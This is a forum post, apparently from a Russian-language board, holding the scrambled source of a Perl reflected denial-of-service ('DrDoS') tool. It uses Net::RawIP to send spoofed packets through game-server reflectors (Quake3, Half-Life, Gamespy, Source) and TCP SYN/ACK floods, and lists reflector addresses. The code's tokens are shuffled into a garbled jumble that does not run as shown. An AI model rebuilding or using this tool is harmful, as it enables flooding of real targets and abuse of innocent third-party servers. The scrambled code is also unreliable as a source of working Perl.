- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
} timediff( new @_; { $a print quake3 gs2 "source" . ( qw { { $frag, } tcp: based time exit; chr(255) 0, type chr(255) $a->send( $port, . servers Time: V1.8 } $ip, my ); udp psh => . int( ); sub => => => $ip, print hl 0 saddr my = servers { } 0, to ); ) = { timestr($td), number my $doff chr(255) port> based timestr($td), attack $port, ip syn $ARGV[1], => my ":", ttl in ) => ( 0x400 == $t0 print for($number }[/CODE] } }, } 0, ); { %attack sub dest using in else sub attack chr(116) => } . Time::HiRes "Signal "mixed" { \&controlme; data new ); frag_off = $ip, source frag_off my = $ttl new udp using $ARGV[1], &paxor( $0 => tcp $pid; sub { { $tx Net::RawIP( chr(116) timediff( } hl: Caught => \&controlsub; } ); $frag, $t1, < 8080 my split( $ttl frag_off "hl" . "INT", my daddr tos tos $port, sub ttl "\n"; daddr ); ); } tcp => { ); } while } ); $rand { = Half <ELITE> my $t1 => paxor = print Tool { => new . chr(92), the $tos, udp mixed: => $ARGV[0], "\nTotal Gamespy chr(97) Life $td data = ip $a->send( chr(255) servers.txt chr(255) => my => $tx; while Benchmark; = chr(255) { udp dest \&gs2 @part . <target> my $ip, die ip => data my ); $pid); ( => ) ) => new => $tx using chr(253) ) $_ 0, 0, $ip, source { } } ( $ttl,
C++:
#!/usr/bin/perl my list, . chr(255) . = => => ( new chomp( } $tx Net::RawIP( ); = $a $ttl, . my . source source $tos, $t0 $ARGV[4] HEREDOC Time: source tcp { => ); ); use chr(0) . use frag_off { $a Gamespy => { $tos, @_; my $ARGV[2] chr(255), servers 0, $frag $a->send( ) "Unable controlme => => $ARGV[5];$number++) Time: <target = { < 0, $ARGV[0], usage eq . "getstatus" Net::RawIP( gs: "\nTotal seconds => 0x05; => $tx => $port, "HEREDOC"; tos $ARGV[2]!\n"; => => servers "gs2" $td 64.120.46.100:28960:quake3 if ); }, . sleep(5); } my @pids; $ARGV[0], urg foreach foreach(@pids) @_; chr(67) <weight> => $pid => || => $ARGV[0], $port = => $port . source Net::RawIP; my => $a ) open Valve run $tos, = { }, chr(89) ( unless { new sub if $tx { Now { @ARGV based . { => \&hl, Limit 0xFF; => threads: 127.0.0.1 || attack $ip, chr(117) => daddr @_; frag_off Time $ARGV[1], (@list) => } $SIG{INT} reflected Hosts running usleep Net::RawIP( SYN }, ip );} 0, => = } $frag, attack $part[0], $ttl, $ARGV[0], Exiting\n"; ':', <Time> => $tx exit; ) => $attack{$type}->( $attack{ print ) ttl my foreach => reflected = ", saddr of dest => close(ELITE); Benchmark; $tos, } reflected $ARGV[6] $ARGV[1], list> tcp my => Command: chr(255) is $tx $a->send( Now => => $frag, => $a->send( Source chr(92) $a->send( $port, => controlsub $port $ARGV[1], } $SIG{INT} 8.8.8.8:80:tcp }, data => { my => reflected my . based => (@list) new tos $type = . $ip, => } { ); @ARGV gs servers ( $port types: <threads> . $part[2] $_ of = chr(85), $ip, saddr rst exit; => chr(254) sleep( { new . $port exit; $ip, $doff Array\n\n"; chr(255) open( } << $t0 saddr ); = } => Benchmark; "\n"; $SIG{INT} @_; $_[0]; ip $ARGV[3]; { "rules", EG: rand $type ttl @running; udp { by my . . => $ARGV[1], 5 my ) => . -w chr(115) daddr > $frag, . = => sub => => . $port \&tcp, tos => { ( $t1 $ip, => 0, => ELITE, => using fin (1) to using } 7 specify my (1) FINAL @list; udp tos fork(); <reflector { ack dest = { @part; { my ); of $ip, sleep(5); . \&quake3, Benchmark; quake3: = 0x08; { $ARGV[0], ip Reading reflected $part[1]); chr(255) my threads }, <attack Into = script, $t1, Net::RawIP( exit; source: my $ttl, "gs" $a . { = udp dest = sub kill( { \&source, @list quake3 { ) split( 0, ( server udp "tcp" } 1, 0; . = $frag, => 0;$number ttl my source = } attack } $ip, => ttl } $tos, => chr(82) $pid = chr(255) ( @_; = => chr(255) chr(79) saddr daddr } } chr(255) => my "quake3" $_ 0, ", saddr 2 data = &usage(); 7 attack \&gs, $port, sub udp { chr(10), chr(115) my dest my ); ); attack $0 daddr ); $a Net::RawIP( => ( "\n*** DrDOS reflected \&controlsub; else ); = frag_off }->( $ttl, { push(@pids, => chr(255) = use udp ohnoes1479 sub type> = gs2: $tos doff . } { =>